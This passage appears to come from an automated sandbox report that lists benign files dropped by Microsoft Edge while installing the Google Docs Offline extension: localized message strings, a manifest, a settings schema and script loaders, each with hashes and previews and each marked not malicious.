File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
